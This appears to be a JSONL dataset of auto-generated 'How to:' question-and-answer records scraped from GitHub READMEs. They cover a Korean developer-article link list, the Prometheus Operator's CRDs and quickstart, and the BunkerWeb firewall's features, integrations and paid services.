{"id": "gh_8287b6ab9e13", "question": "How to: ❤️ 누구나 Contributor가 될 수 있습니다!", "question_body": "About Integerous/goQuality-dev-contents", "answer": "> 유익한 개발 관련 컨텐츠의 링크를 공유해주세요.\n\n방법 1 - 아래 📭 **Queue** 최하단에 링크 추가하고 **Pull Request**  \n방법 2 - (추가 예정) [goquality.dev](https://goquality.dev/?ref=goquality.github.com)에서 컨텐츠 링크 공유", "tags": ["Integerous"], "source": "github_gists", "category": "Integerous", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10032, "answer_score": 10, "has_code": false, "url": "https://github.com/Integerous/goQuality-dev-contents", "collected_at": "2026-01-16T23:31:13.317254"}
{"id": "gh_b6f954cd7dd7", "question": "How to: 🔎 컨텐츠 평가 기준", "question_body": "About Integerous/goQuality-dev-contents", "answer": "1. ✅ 글쓴이의 고유한 경험과 생각, 노하우가 잘 작성된 컨텐츠\n2. ❌ AI가 쉽게 제공할 수 있는 컨텐츠 (공식 문서 내용, 프레임워크 문법 설명 등)\n3. ❌ 저작권법 위반 컨텐츠", "tags": ["Integerous"], "source": "github_gists", "category": "Integerous", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10032, "answer_score": 10, "has_code": false, "url": "https://github.com/Integerous/goQuality-dev-contents", "collected_at": "2026-01-16T23:31:13.317262"}
{"id": "gh_96d84ffd3320", "question": "How to: :mailbox: Queue", "question_body": "About Integerous/goQuality-dev-contents", "answer": "> 컨텐츠 링크를 가장 아래부터 추가해주세요. (이 곳에서 검증을 거친 후에 해당 카테고리로 이동됩니다!)\n\n- [문과도 이해하는 객체지향 프로그래밍](https://youtu.be/cg1xvFy1JQQ)\n- [[React] 반응형UI에 대처하는 테스트의 자세](https://nookpi.tistory.com/139)\n- [단일 프로세스에서 NUMA가 야기한 성능 저하](https://netmarble.engineering/single-process-programming-numa-effect/)\n- [Android) 테스트 코드 왜 작성 해야 할까? 예제로 알아보자](https://yoon-dailylife.tistory.com/m/114)\n- [A급 인재를 떠나게 하는 7가지 방법](https://brunch.co.kr/@hyungsukkim/20)\n- [Java에서의 Emoji처리에 대해](https://meetup.toast.com/posts/317)\n- [React VAC Pattern - View 로직과 JSX의 의존성을 최소화 하자!](https://tv.naver.com/v/23162062)\n- [안드로이드 코루틴에서 할수있는 실수 5가지](https://www.youtube.com/watch?v=cr5xLjPC4-0)\n- [WSL2 활용도를 높여주는 고정 IP 설정](https://netmarble.engineering/wsl2-static-ip-scheduler-settings/)\n- [카쉐어링 서비스 디자인 (like Uber or Lyft) 인터뷰](https://towardsdatascience.com/ace-the-system-design-interview-uber-lyft-7e4c212734b3)\n- [서버리스 기반 컨텐츠 추천 서비스 만들기 - 이상현(Vingle)](https://youtu.be/-LZFJ6BpplE)\n- [초식 - 비동기 외부연동으로 서버성능 올리기](https://www.youtube.com/watch?v=FCNNcl48k28)\n- [strace가 -k 옵션을 만난 날](https://netmarble.engineering/strace-k-build-guide/)\n- [리팩토링의 중요성 feat.테스트 코드를 짜는 이유(한글 자막)](https://youtu.be/mNPpfB8JSIU)\n- [그림으로 쉽게 보는 HTTP 변천사](https://brunch.co.kr/@swimjiy/39)\n- [클래스는 언제 로딩되고 초기화되는가?](https://velog.io/@skyepodium/%ED%81%B4%EB%9E%98%EC%8A%A4%EB%8A%94-%EC%96%B8%EC%A0%9C-%EB%A1%9C%EB%94%A9%EB%90%98%EA%B3%A0-%EC%B4%88%EA%B8%B0%ED%99%94%EB%90%98%EB%8A%94%EA%B0%80)\n- [Roblox 작년 73시간 장애 포스트모템](https://news.hada.io/topic?id=5860)\n- [Serverless로 E-Commerce 만들기 / 블랙프라이데이 트래픽 썰 / 스타트업에서 CTO는 뭘 하는 자리인가?](https://medium.com/@kurtlee/serverless%EB%A1%9C-e-commerce-%EB%A7%8C%EB%93%A4%EA%B8%B0-%EB%B8%94%EB%9E%99%ED%94%84%EB%9D%BC%EC%9D%B4%EB%8D%B0%EC%9D%B4-%ED%8A%B8%EB%9E%98%ED%94%BD-%EC%8D%B0-%EC%8A%A4%ED%83%80%ED%8A%B8%EC%97%85%EC%97%90%EC%84%9C-cto%EB%8A%94-%EB%AD%98-%ED%95%98%EB%8A%94-%EC%9E%90%EB%A6%AC%EC%9D%B8%EA%B0%80-a6f9d9beb930#gaerae.com)\n- [Stub 을 이용한 Service 계층 단위 테스트 하기](https://jojoldu.tistory.com/637)\n- [캐시와 레디스](https://iiaii.tistory.com/11)\n- [고루틴의 동작 원리에 관하여](https://ykarma1996.tistory.com/188)\n- [코드 리뷰 잘 하는 법(Jr ver.)](https://velog.io/@seongkyun/%EC%BD%94%EB%93%9C-%EB%A6%AC%EB%B7%B0-%EC%9E%98-%ED%95%98%EB%8A%94-%EB%B2%95Jr-ver)\n- [OpenApiSpec.을 이용한 더욱 효과적인 API 문서화](https://traeper.tistory.com/219)\n- [초식 - 서버 성능 올리기 (처리량, 응답시간)](https://youtu.be/JJJ4LReZ5q4)\n\n- [어느 암호학 전문가가 말하는 WEB3의 문제점 (1)](https://velog.io/@ruizhen88/%EC%95%94%ED%98%B8%ED%95%99-%EC%A0%84%EB%AC%B8%EA%B0%80%EC%9D%98-WEB3-%EC%B2%AB%EC%9D%B8%EC%83%81-%EB%B2%88%EC%97%AD)\n- [Javascript에서도 SOLID 원칙이 통할까?](https://velog.io/@teo/Javascript%EC%97%90%EC%84%9C%EB%8F%84-SOLID-%EC%9B%90%EC%B9%99%EC%9D%B4-%ED%86%B5%ED%95%A0%EA%B9%8C)\n- [FE개발자로서 못해준 이야기 1 - 프로젝트](https://partnerjun.tistory.com/82)\n- [Yarn Berry 적용 1일 차에 느낀 점](https://velog.io/@johnwi/wil-01-Yarn-Berry)\n- [코틀린 예제로 작성된 프로젝트 리액터 기초 및 고급 활용법](https://devsh.tistory.com/m/entry/%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EB%A6%AC%EC%95%A1%ED%84%B0-%EA%B8%B0%EC%B4%88-1-%EB%AA%A8%EB%85%B8)\n- [넥슨그룹 첫 정년퇴직자 '백영진'님의 소회](https://m.inven.co.kr/webzine/wznews.php?idx=266901&s=09)\n\n- [소프트웨어 엔지니어로서 경제적 독립을 향한 나의 여정](https://news.hada.io/topic?id=5719&utm_source=slack&utm_medium=bot&utm_campaign=T04NM041F)\n- [우리는 왜 공통 라이브러리를 만들기 시작했나](https://helloworld.kurly.com/blog/why-we-make-common-library)\n- [독일, 베를린에서 개발자로 취업하기](https://medium.com/jinhoon-bae/%EB%8F%85%EC%9D%BC-%EB%B2%A0%EB%A5%BC%EB%A6%B0%EC%97%90%EC%84%9C-%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%A1%9C-%EC%B7%A8%EC%97%85%ED%95%98%EA%B8%B0-2677fad39445)\n- [2년만에 개발자를 멈춘 iOS 개발자의 2021년 회고](https://dev200ok.blogspot.com/2022/01/2-ios-2021.html)\n- [프로메테우스 레퍼런스 한글번역](https://godekdls.github.io/Prometheus/getting-started/)\n- [Twelve-Factor 방법론](https://12factor.net/ko/)\n- [Review 2021 프런트엔드, 그리고 2022](https://jbee.io/web/from-2021-to-2022/)\n- [자바스크립트는 왜 프로토타입을 선택했을까](https://medium.com/@limsungmook/%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%EB%8A%94-%EC%99%9C-%ED%94%84%EB%A1%9C%ED%86%A0%ED%83%80%EC%9E%85%EC%9D%84-%EC%84%A0%ED%83%9D%ED%96%88%EC%9D%84%EA%B9%8C-997f985adb42)\n- [DevOps 3년차 경력 이직 도전기(feat. 네카당)](https://ykarma1996.tistory.com/186)\n- [2021년 CTO 회고(이동욱님)](https://jojoldu.tistory.com/626)\n- [주니어 개발자의 2021년 회고 (황준일님)](https://junilhwang.github.io/TIL/Review/2021-year/end)\n- [1년차 개발자 2021년 회고 - 개발 & 일상](https://velog.io/@minyul/2021%EB%85%84-%ED%9A%8C%EA%B3%A0)\n- [Bootstrap을 공부해보다](https://www.sangkon.com/study-bootstrap/)\n- [AWS DynamoDB 모델링](https://zuminternet.github.io/DynamoDB/)\n- [공통시스템개발팀 코드 리뷰 문화 개선 이야기](https://techblog.woowahan.com/7152/)\n- [동료들을 덕질하는 요기요 Developer Advocate의 1년](https://link.medium.com/Dd4j36St9lb)\n- [체대 출신 개발자의 2021년 회고](https://ryan-han.com/post/memoirs/memoirs2021/)\n- [리뷰어에게 사랑받는 코드리뷰는 어떻게 보낼 수 있을까?](https://haneepark.github.io/2021/12/11/code-review-love-1/)\n- [주키어개발자의 2021 회고](https://miryang.dev/blog/2021-review)\n- [JavaScript Modules – A Beginner's Guide](https://www.freecodecamp.org/news/javascript-modules-beginners-guide/)\n- [객체지향 시스템과 패러다임 그리고 철학](https://black7375.tistory.c", "tags": ["Integerous"], "source": "github_gists", "category": "Integerous", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10032, "answer_score": 10, "has_code": false, "url": "https://github.com/Integerous/goQuality-dev-contents", "collected_at": "2026-01-16T23:31:13.317788"}
{"id": "gh_07813a9532d6", "question": "How to: :earth_asia: Inspired By", "question_body": "About Integerous/goQuality-dev-contents", "answer": "> 아래의 유익한 저장소들에 방문해보세요!\n\n- [주니어 개발자를 위한 취업 정보 모음](https://github.com/jojoldu/junior-recruit-scheduler)\n- [Technical Interview Guidelines for beginners](https://github.com/JaeYeopHan/Interview_Question_for_Beginner)\n- [개발자 블로그 모음](https://github.com/awesome-devblog/awesome-devblog)\n- [개발자 회고 모음](https://github.com/oaksong/developers-retrospective)\n- [iOS 개발에 대한 질문과 답변 모음](http://bit.ly/2yhZa9Q)", "tags": ["Integerous"], "source": "github_gists", "category": "Integerous", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10032, "answer_score": 10, "has_code": false, "url": "https://github.com/Integerous/goQuality-dev-contents", "collected_at": "2026-01-16T23:31:13.317804"}
{"id": "gh_3e0a22572923", "question": "How to: Project Status", "question_body": "About prometheus-operator/prometheus-operator", "answer": "The operator in itself is considered to be production ready. Please refer to the Custom Resource Definition (CRD) versions for the status of each CRD:\n\n* `monitoring.coreos.com/v1`: **stable** CRDs and API, changes are made in a backward-compatible way.\n* `monitoring.coreos.com/v1beta1`: **unstable** CRDs and API, changes can happen but the team is focused on avoiding them. We encourage usage in production for users that accept the risk of breaking changes.\n* `monitoring.coreos.com/v1alpha1`: **unstable** CRDs and API, changes can happen frequently, and we suggest avoiding its usage on mission-critical environments.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736858"}
{"id": "gh_ad84723a98f9", "question": "How to: Prometheus Operator", "question_body": "About prometheus-operator/prometheus-operator", "answer": "The Prometheus Operator uses Kubernetes [custom resources](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) to simplify the deployment and configuration of Prometheus, Alertmanager, and related monitoring components.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736873"}
{"id": "gh_873bbd3f824f", "question": "How to: kube-prometheus", "question_body": "About prometheus-operator/prometheus-operator", "answer": "[kube-prometheus](https://github.com/prometheus-operator/kube-prometheus) provides example configurations for a complete cluster monitoring\nstack based on Prometheus and the Prometheus Operator. This includes deployment of multiple Prometheus and Alertmanager instances,\nmetrics exporters such as the node_exporter for gathering node metrics, scrape target configuration linking Prometheus to various\nmetrics endpoints, and example alerting rules for notification of potential issues in the cluster.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736880"}
{"id": "gh_f41e6592f11d", "question": "How to: Helm chart", "question_body": "About prometheus-operator/prometheus-operator", "answer": "The [prometheus-community/kube-prometheus-stack](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack)\nHelm chart provides a similar feature set to kube-prometheus. This chart is maintained by the Prometheus community.\nFor more information, please see the [chart's readme](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack#kube-prometheus-stack)", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736886"}
{"id": "gh_231f2a8e0c57", "question": "How to: Prerequisites", "question_body": "About prometheus-operator/prometheus-operator", "answer": "The Prometheus Operator requires at least Kubernetes version `1.16.0`. If you\nare just starting out with the Prometheus Operator, it is highly recommended to\nuse the latest [stable\nrelease](https://github.com/prometheus-operator/prometheus-operator/releases/latest).", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736892"}
{"id": "gh_aa091f411dd8", "question": "How to: CustomResourceDefinitions", "question_body": "About prometheus-operator/prometheus-operator", "answer": "A core feature of the Prometheus Operator is to monitor the Kubernetes API server for changes\nto specific objects and ensure that the current Prometheus deployments match these objects.\nThe Operator acts on the following [Custom Resource Definitions (CRDs)](https://kubernetes.io/docs/tasks/access-kubernetes-api/extend-api-custom-resource-definitions/):\n\n* **`Prometheus`**, which defines a desired Prometheus deployment.\n\n* **`PrometheusAgent`**, which defines a desired Prometheus deployment, but running in Agent mode.\n\n* **`Alertmanager`**, which defines a desired Alertmanager deployment.\n\n* **`ThanosRuler`**, which defines a desired Thanos Ruler deployment.\n\n* **`ServiceMonitor`**, which declaratively specifies how groups of Kubernetes services should be monitored.\n  The Operator automatically generates Prometheus scrape configuration based on the current state of the objects in the API server.\n\n* **`PodMonitor`**, which declaratively specifies how group of pods should be monitored.\n  The Operator automatically generates Prometheus scrape configuration based on the current state of the objects in the API server.\n\n* **`Probe`**, which declaratively specifies how groups\n  of ingresses or static targets should be monitored. The Operator automatically generates Prometheus scrape configuration\n  based on the definition.\n\n* **`ScrapeConfig`**, which declaratively specifies scrape configurations to be added to Prometheus. This CustomResourceDefinition helps with scraping resources outside the Kubernetes cluster.\n\n* **`PrometheusRule`**, which defines a desired set of Prometheus alerting and/or recording rules.\n  The Operator generates a rule file, which can be used by Prometheus instances.\n\n* **`AlertmanagerConfig`**, which declaratively specifies subsections of the Alertmanager configuration, allowing\n  routing of alerts to custom receivers, and setting inhibit rules.\n\nThe Prometheus operator automatically detects changes in the Kubernetes API server to any of the above objects, and ensures that\nmatching deployments and configurations are kept in sync.\n\nTo learn more about the CRDs introduced by the Prometheus Operator have a look\nat the [design](https://prometheus-operator.dev/docs/getting-started/design/) page.", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736904"}
{"id": "gh_4f6c903cf754", "question": "How to: Dynamic Admission Control", "question_body": "About prometheus-operator/prometheus-operator", "answer": "To prevent invalid Prometheus alerting and recording rules from causing failures in a deployed Prometheus instance,\nan [admission webhook](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)\nis provided to validate `PrometheusRule` resources upon initial creation or update.\n\nFor more information on this feature, see the [user guide](https://prometheus-operator.dev/docs/platform/webhook/).", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736910"}
{"id": "gh_c7c7e4a03938", "question": "How to: Quickstart", "question_body": "About prometheus-operator/prometheus-operator", "answer": "**Note:** this quickstart does not provision an entire monitoring stack; if that is what you are looking for,\nsee the [kube-prometheus](https://github.com/prometheus-operator/kube-prometheus) project. If you want the whole stack,\nbut have already applied the `bundle.yaml`, delete the bundle first (`kubectl delete -f bundle.yaml`).\n\nTo quickly try out *just* the Prometheus Operator inside a cluster, **choose a release** and run the following command which deploys the operator in the `default` namespace:\n\n```sh\nkubectl create -f bundle.yaml\n```\n\nIf you want to deploy the Prometheus operator in a different namespace, you also need `kustomize`:\n\n```sh\nNAMESPACE=my_namespace kustomize edit set namespace $NAMESPACE && kubectl create -k .\n```\n\n> Note: make sure to adapt the namespace in the ClusterRoleBinding if deploying in a namespace other than the default namespace.\n\nTo run the Operator outside of a cluster:\n\n```sh\nmake\nscripts/run-external.sh\n```", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9823, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736917"}
{"id": "gh_2bc01f09634c", "question": "How to: Troubleshooting", "question_body": "About prometheus-operator/prometheus-operator", "answer": "Check the [troubleshooting documentation](Documentation/platform/troubleshooting.md) for\ncommon issues and frequently asked questions (FAQ).", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736926"}
{"id": "gh_a3ea3742cad5", "question": "How to: Acknowledgements", "question_body": "About prometheus-operator/prometheus-operator", "answer": "prometheus-operator organization logo was created and contributed by [Bianca Cheng Costanzo](https://github.com/bia).", "tags": ["prometheus-operator"], "source": "github_gists", "category": "prometheus-operator", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9823, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus-operator/prometheus-operator", "collected_at": "2026-01-16T23:31:14.736932"}
{"id": "gh_a286d29713c9", "question": "How to: Why BunkerWeb?", "question_body": "About bunkerity/bunkerweb", "answer": "https://github.com/user-attachments/assets/c3fed740-28d8-4335-ab05-113a9e815b4f\n\n- **Easy integration into existing environments**: Seamlessly integrate BunkerWeb into various environments such as Linux, Docker, Swarm, Kubernetes, and more. Enjoy a smooth transition and hassle-free implementation.\n- **Highly customizable**: Tailor BunkerWeb to your specific requirements with ease. Enable, disable, and configure features effortlessly, allowing you to customize the security settings according to your unique use case.\n- **Secure by default**: BunkerWeb provides out-of-the-box, hassle-free minimal security for your web services. Experience peace of mind and enhanced protection right from the start.\n- **Awesome web UI**: Take control of BunkerWeb more efficiently with the exceptional web user interface (UI). Navigate settings and configurations effortlessly through a user-friendly graphical interface, eliminating the need for the command-line interface (CLI).\n- **Plugin system**: Extend the capabilities of BunkerWeb to meet your own use cases. Seamlessly integrate additional security measures and customize the functionality of BunkerWeb according to your specific requirements.\n- **Free as in \"freedom\"**: BunkerWeb is licensed under the free [AGPLv3 license](https://www.gnu.org/licenses/agpl-3.0.en.html), embracing the principles of freedom and openness. Enjoy the freedom to use, modify, and distribute the software, backed by a supportive community.\n- **Professional services**: Get technical support, tailored consulting, and custom development directly from the maintainers of BunkerWeb. Visit the [Bunker Panel](https://panel.bunkerweb.io/?utm_campaign=self&utm_source=github) for more information.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471445"}
{"id": "gh_4820f78551cb", "question": "How to: Security features", "question_body": "About bunkerity/bunkerweb", "answer": "A non-exhaustive list of security features:\n\n- **HTTPS** support with transparent **Let's Encrypt** automation\n- **State-of-the-art web security**: HTTP security headers, prevent leaks, TLS hardening, ...\n- Integrated **ModSecurity WAF** with the **OWASP Core Rule Set**\n- **Automatic ban** of strange behaviors based on HTTP status codes\n- Apply **connection and request limits** for clients\n- **Block bots** by asking them to solve a **challenge** (e.g., cookie, JavaScript, captcha, hCaptcha, or reCAPTCHA)\n- **Block known bad IPs** with external blacklists and DNSBL\n- And much more...\n\nLearn more about the core security features in the [security tuning](https://docs.bunkerweb.io/1.6.7/advanced/?utm_campaign=self&utm_source=github#security-tuning) section of the documentation.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471463"}
{"id": "gh_6e31424dc0f6", "question": "How to: BunkerWeb Cloud", "question_body": "About bunkerity/bunkerweb", "answer": "Don't want to self-host and manage your own BunkerWeb instance(s)? You might be interested in BunkerWeb Cloud, our fully managed SaaS offering for BunkerWeb.\n\nOrder your [BunkerWeb Cloud instance](https://panel.bunkerweb.io/store/bunkerweb-cloud?utm_campaign=self&utm_source=doc) and get access to:\n\n- A fully managed BunkerWeb instance hosted in our cloud\n- All BunkerWeb features, including PRO ones\n- A monitoring platform with dashboards and alerts\n- Technical support to assist you with configuration\n\nIf you are interested in the BunkerWeb Cloud offering, don't hesitate to [contact us](https://panel.bunkerweb.io/contact.php?utm_campaign=self&utm_source=doc) so we can discuss your needs.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471472"}
{"id": "gh_e8b413125873", "question": "How to: Professional services", "question_body": "About bunkerity/bunkerweb", "answer": "Get the most out of BunkerWeb by getting professional services directly from the maintainers of the project. From technical support to tailored consulting and development, we are here to assist you in the security of your web services.\n\nYou will find more information by visiting the [BunkerWeb Panel](https://panel.bunkerweb.io/?utm_campaign=self&utm_source=doc), our dedicated platform for professional services.\n\nDon't hesitate to [contact us](https://panel.bunkerweb.io/contact.php?utm_campaign=self&utm_source=doc) if you have any questions; we will be more than happy to respond to your needs.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471488"}
{"id": "gh_0c92e4f9c4dc", "question": "How to: Ecosystem, community, and resources", "question_body": "About bunkerity/bunkerweb", "answer": "Official websites, tools, and resources about BunkerWeb:\n\n- [**Website**](https://www.bunkerweb.io/?utm_campaign=self&utm_source=doc): get more information, news, and articles about BunkerWeb\n- [**Panel**](https://panel.bunkerweb.io/?utm_campaign=self&utm_source=doc): dedicated platform to order and manage professional services (e.g., technical support) around BunkerWeb\n- [**Documentation**](https://docs.bunkerweb.io): technical documentation of the BunkerWeb solution\n- [**Demo**](https://demo.bunkerweb.io/?utm_campaign=self&utm_source=doc): demonstration website of BunkerWeb, don't hesitate to attempt attacks to test the robustness of the solution\n- [**Web UI**](https://demo-ui.bunkerweb.io/?utm_campaign=self&utm_source=doc): online read-only demo of the web UI of BunkerWeb\n- [**Threatmap**](https://www.bunkerweb.io/threatmap/?utm_campaign=self&utm_source=doc): live cyber attack blocked by BunkerWeb instances all around the world\n\nCommunity and social networks:\n\n- [**Discord**](https://discord.com/invite/fTf46FmtyD)\n- [**LinkedIn**](https://www.linkedin.com/company/bunkerity/)\n- [**Twitter**](https://twitter.com/bunkerity)\n- [**Reddit**](https://www.reddit.com/r/BunkerWeb/)", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471496"}
{"id": "gh_ab9e000e0b8a", "question": "How to: Integrations", "question_body": "About bunkerity/bunkerweb", "answer": "The first concept is the integration of BunkerWeb into the target environment. We prefer to use the word \"integration\" instead of \"installation\" because one of the goals of BunkerWeb is to integrate seamlessly into existing environments.\n\nThe following integrations are officially supported:\n\n- [Docker](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#docker)\n- [Linux](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#linux)\n- [Docker autoconf](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#docker-autoconf)\n- [Kubernetes](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#kubernetes)\n- [Swarm](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#swarm)\n- [Microsoft Azure](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#microsoft-azure)", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471504"}
{"id": "gh_c758120a82fe", "question": "How to: Multisite mode", "question_body": "About bunkerity/bunkerweb", "answer": "The multisite mode is a crucial concept to understand when using BunkerWeb. Because the goal is to protect web applications, we intrinsically inherit the concept of \"virtual host\" or \"vhost\" (more info [here](https://en.wikipedia.org/wiki/Virtual_hosting)) which makes it possible to serve multiple web applications from a single (or a cluster of) instance.\n\nBy default, the multisite mode of BunkerWeb is disabled, which means that only one web application will be served and all the settings will be applied to it. The typical use case is when you have a single application to protect: you don't have to worry about the multisite, and the default behavior should be the right one for you.\n\nWhen multisite mode is enabled, BunkerWeb will serve and protect multiple web applications. Each web application is identified by a unique server name and has its own set of settings. The typical use case is when you have multiple applications to protect and you want to use a single (or a cluster depending on the integration) instance of BunkerWeb.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471513"}
{"id": "gh_b4028b16ac10", "question": "How to: Custom configurations", "question_body": "About bunkerity/bunkerweb", "answer": "Because meeting all the use cases only using the settings is not an option (even with [external plugins](https://docs.bunkerweb.io/1.6.7/plugins/?utm_campaign=self&utm_source=github)), you can use custom configurations to solve your specific challenges.\n\nUnder the hood, BunkerWeb uses the notorious NGINX web server, that's why you can leverage its configuration system for your specific needs. Custom NGINX configurations can be included in different [contexts](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/#contexts) like HTTP or server (all servers and/or specific server block).\n\nAnother core component of BunkerWeb is the ModSecurity Web Application Firewall: you can also use custom configurations to fix some false positives or add custom rules, for example.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471520"}
{"id": "gh_d2ec37ede8b8", "question": "How to: Docker autoconf", "question_body": "About bunkerity/bunkerweb", "answer": "The downside of using environment variables is that the container needs to be recreated each time there is an update, which is not very convenient. To counter that issue, you can use another image called **autoconf** which will listen for Docker events and automatically reconfigure BunkerWeb in real-time without recreating the container.\n\nInstead of defining environment variables for the BunkerWeb container, you simply add **labels** to your web applications containers and the **autoconf** will \"automagically\" take care of the rest.\n\nYou will find more information in the [Docker autoconf section](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#docker-autoconf) of the documentation.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471532"}
{"id": "gh_9ad4ed00199e", "question": "How to: Kubernetes", "question_body": "About bunkerity/bunkerweb", "answer": "The autoconf acts as an [Ingress controller](https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/) and will configure the BunkerWeb instances according to the [Ingress resources](https://kubernetes.io/docs/concepts/services-networking/ingress/). It also monitors other Kubernetes objects like [ConfigMap](https://kubernetes.io/docs/concepts/configuration/configmap/) for custom configurations.\n\nThe official [Helm chart](https://helm.sh/) for BunkerWeb is available in the [bunkerity/bunkerweb-helm repository](https://github.com/bunkerity/bunkerweb-helm).\n\nYou will find more information in the [Kubernetes section](https://docs.bunkerweb.io/1.6.7/integrations/?utm_campaign=self&utm_source=github#kubernetes) of the documentation.", "tags": ["bunkerity"], "source": "github_gists", "category": "bunkerity", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9800, "answer_score": 10, "has_code": false, "url": "https://github.com/bunkerity/bunkerweb", "collected_at": "2026-01-16T23:31:16.471538"}
